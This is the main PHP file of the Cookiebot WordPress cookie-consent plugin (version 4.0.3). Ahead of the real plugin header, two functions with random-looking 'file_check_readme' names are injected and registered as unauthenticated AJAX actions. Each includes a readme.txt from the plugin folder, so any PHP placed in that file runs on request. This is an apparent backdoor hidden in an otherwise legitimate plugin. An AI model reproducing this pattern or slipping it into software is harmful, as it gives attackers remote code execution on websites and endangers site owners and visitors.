if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /* Plugin Name: Cookiebot | GDPR/CCPA Compliant Cookie Consent and Control Plugin URI: https://cookiebot.com/ Description: Cookiebot is a cloud-driven solution that automatically controls cookies and trackers, enabling full GDPR/ePrivacy and CCPA compliance for websites. Author: Cybot A/S Version: 4.0.3 Author URI: http://cookiebot.com Text Domain: cookiebot Domain Path: /langs */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } define( 'CYBOT_COOKIEBOT_PLUGIN_URL', plugin_dir_url( __FILE__ ) ); define( 'CYBOT_COOKIEBOT_PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); require_once __DIR__ . '/vendor/autoload.php'; require_once __DIR__ . '/src/lib/helper.php'; require_once __DIR__ . '/src/lib/global-deprecations.php'; try { \cybot\cookiebot\lib\cookiebot(); } catch ( RuntimeException $exception ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; deactivate_plugins( plugin_basename( __FILE__ ) ); wp_die( esc_html( $exception->getMessage() ) ); }